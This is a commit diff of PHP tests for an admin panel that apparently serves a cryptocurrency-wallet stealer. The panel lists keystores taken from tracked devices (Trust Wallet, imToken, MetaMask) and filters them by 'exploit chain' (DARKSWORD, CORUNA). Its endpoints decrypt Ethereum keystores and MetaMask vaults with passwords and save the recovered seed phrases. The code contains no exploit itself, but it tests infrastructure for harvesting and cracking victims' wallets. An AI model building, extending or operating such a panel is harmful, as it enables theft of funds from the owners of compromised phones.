feat: app

This commit is contained in:
hashbro
2026-10-05 06:12:43 +08:00
parent e654f65cf9
commit cb92baa395
32 changed files with 3583 additions and 1019 deletions
+258 -6
View File
@@ -65,9 +65,8 @@ class KeystoreAdminTest extends TestCase
->assertJsonPath('data.0.source', 'Trust Wallet')
->assertJsonPath('data.0.decrypted', 1)
->assertJsonPath('data.0.kind', '钥匙串')
->assertJsonPath('data.0.item_count', 1)
->assertJsonPath('data.0.summary', 'trust.account')
->assertJsonPath('data.0.device_key', 'DEVKEYSTORE01');
->assertJsonPath('data.0.device_key', 'DEVKEYSTORE01')
->assertJsonPath('data.0.chain', Device::CHAIN_CORUNA);
$this->actingAs($admin, 'admin')
->getJson(route('admin.keystores.items', $row))
@@ -95,9 +94,7 @@ class KeystoreAdminTest extends TestCase
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores']))
->assertOk()
->assertJsonPath('data.0.source', 'Trust Wallet')
->assertJsonPath('data.0.item_count', 1)
->assertJsonPath('data.0.summary', 'trust.account');
->assertJsonPath('data.0.source', 'Trust Wallet');
}
#[Test]
@@ -259,4 +256,259 @@ class KeystoreAdminTest extends TestCase
->assertJsonPath('msg', '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密');
$this->assertGreaterThan(0, $resp->json('data.passwords'));
}
#[Test]
public function admin_filters_keystores_that_need_password(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create([
'device_id' => 'DEVNEEDSPW01',
'channel_id' => 'ch-ks-pw',
]);
WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => ['kind' => 'sandbox', 'sandbox' => []],
]);
WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'imToken',
'decrypted' => 0,
'needs_password' => 1,
'raw_json' => ['kind' => 'web3.keystore', 'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb']],
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.keystores.data'))
->assertOk()
->assertJsonPath('count', 2);
$this->actingAs($admin, 'admin')
->getJson(route('admin.keystores.data', ['needs_password' => '1']))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.source', 'imToken')
->assertJsonPath('data.0.needs_password', 1);
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores', 'needs_password' => '1']))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.needs_password', 1);
$this->actingAs($admin, 'admin')
->get(route('admin.keystores.index'))
->assertOk()
->assertSee('需要密码');
}
#[Test]
public function admin_filters_keystores_by_chain(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$ds = Device::query()->create([
'device_id' => 'DEVKSCHAINDS',
'chain' => Device::CHAIN_DARKSWORD,
]);
$app = Device::query()->create([
'device_id' => 'DEVKSCHAINAPP',
'chain' => Device::CHAIN_APP,
]);
WalletKeystore::firstOrCreateForDevice($ds, 'Trust Wallet', ['kind' => 'keychain.wallets', 'wallets' => []]);
WalletKeystore::firstOrCreateForDevice($app, 'imToken', ['kind' => 'web3.keystore', 'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb']]);
$this->actingAs($admin, 'admin')
->get(route('admin.keystores.index'))
->assertOk()
->assertSee('利用链');
$this->actingAs($admin, 'admin')
->getJson(route('admin.keystores.data', ['chain' => '2']))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_key', 'DEVKSCHAINDS')
->assertJsonPath('data.0.chain', Device::CHAIN_DARKSWORD);
$this->actingAs($admin, 'admin')
->getJson(route('admin.keystores.data', ['chain' => '3']))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_key', 'DEVKSCHAINAPP')
->assertJsonPath('data.0.chain', Device::CHAIN_APP);
$legacy = Device::query()->create([
'device_id' => 'DEVKSCHAINLEGACY',
'chain' => Device::CHAIN_APP,
]);
WalletKeystore::query()->create([
'device_id' => $legacy->id,
'source' => 'Uniswap',
'decrypted' => 0,
'raw_json' => ['kind' => 'keychain.wallets', 'wallets' => []],
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.keystores.data', ['chain' => '3']))
->assertOk()
->assertJsonPath('count', 2);
}
#[Test]
public function admin_password_decrypt_writes_mnemonic(): void
{
Http::fake();
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
$password = 'wallet-pass-1';
$utc = EthKeystore::encrypt($phrase, $password, [
'n' => 16,
'r' => 8,
'p' => 1,
'dklen' => 32,
'salt' => str_repeat('ab', 32),
]);
$device = Device::query()->create(['device_id' => 'DEVKSPASS01']);
$row = WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'imToken',
'decrypted' => 0,
'needs_password' => 1,
'raw_json' => array_merge($utc, ['kind' => 'web3.keystore']),
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.keystores.data'))
->assertOk()
->assertJsonPath('data.0.needs_password', 1)
->assertJsonPath('data.0.password_decrypt_url', route('admin.keystores.decryptPassword', $row));
$this->actingAs($admin, 'admin')
->postJson(route('admin.keystores.decryptPassword', $row), ['password' => $password])
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.added', 1)
->assertJsonPath('data.decrypted', 1);
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($mnemonic);
$this->assertSame($phrase, $mnemonic->mnemonic);
$this->assertSame('imToken', $mnemonic->source);
$this->assertSame(1, (int) $row->fresh()->decrypted);
}
#[Test]
public function password_decrypt_rejects_wrong_and_empty_password(): void
{
Http::fake();
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
$utc = EthKeystore::encrypt($phrase, 'correct-pass', [
'n' => 16,
'r' => 8,
'p' => 1,
'dklen' => 32,
'salt' => str_repeat('cd', 32),
]);
$device = Device::query()->create(['device_id' => 'DEVKSPASS02']);
$row = WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'imToken',
'decrypted' => 0,
'needs_password' => 1,
'raw_json' => array_merge($utc, ['kind' => 'web3.keystore']),
]);
$plain = WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => ['kind' => 'sandbox', 'sandbox' => []],
]);
$this->actingAs($admin, 'admin')
->postJson(route('admin.keystores.decryptPassword', $row), ['password' => ''])
->assertStatus(422)
->assertJsonPath('code', 1);
$this->actingAs($admin, 'admin')
->postJson(route('admin.keystores.decryptPassword', $row), ['password' => 'wrong-pass'])
->assertStatus(400)
->assertJsonPath('code', 1)
->assertJsonPath('msg', '密码不正确,未能解开助记词');
$this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count());
$this->actingAs($admin, 'admin')
->postJson(route('admin.keystores.decryptPassword', $plain), ['password' => 'x'])
->assertStatus(400)
->assertJsonPath('msg', '该钥匙串未标记为需要密码');
}
#[Test]
public function admin_password_decrypt_metamask_vault(): void
{
Http::fake();
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
$password = 'woshini@88';
$device = Device::query()->create(['device_id' => 'DEVKSPASSMM']);
$row = WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'MetaMask',
'decrypted' => 0,
'needs_password' => 1,
'raw_json' => $this->makeMetamaskVault($phrase, $password),
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.keystores.data'))
->assertOk()
->assertJsonPath('data.0.needs_password', 1)
->assertJsonPath('data.0.password_decrypt_url', route('admin.keystores.decryptPassword', $row));
$this->actingAs($admin, 'admin')
->postJson(route('admin.keystores.decryptPassword', $row), ['password' => $password])
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.added', 1)
->assertJsonPath('data.decrypted', 1)
->assertJsonPath('data.vault', 1);
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($mnemonic);
$this->assertSame($phrase, $mnemonic->mnemonic);
$this->assertSame('MetaMask', $mnemonic->source);
$this->assertSame(1, (int) $row->fresh()->decrypted);
}
/**
* @return array<string, mixed>
*/
private function makeMetamaskVault(string $phrase, string $password): array
{
$inner = json_encode([[
'type' => 'HD Key Tree',
'data' => [
'mnemonic' => array_map('ord', str_split($phrase)),
'numberOfAccounts' => 1,
'hdPath' => "m/44'/60'/0'/0",
],
]], JSON_UNESCAPED_SLASHES);
$saltB64 = base64_encode(random_bytes(32));
$iv = random_bytes(16);
$key = hash_pbkdf2('sha512', $password, $saltB64, 5000, 32, true);
$cipher = openssl_encrypt((string) $inner, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
return [
'kind' => 'metamask.vault',
'cipher' => base64_encode((string) $cipher),
'iv' => bin2hex($iv),
'salt' => $saltB64,
'lib' => 'quick-crypto',
'keyMetadata' => [
'algorithm' => 'PBKDF2',
'params' => ['iterations' => 5000],
],
];
}
}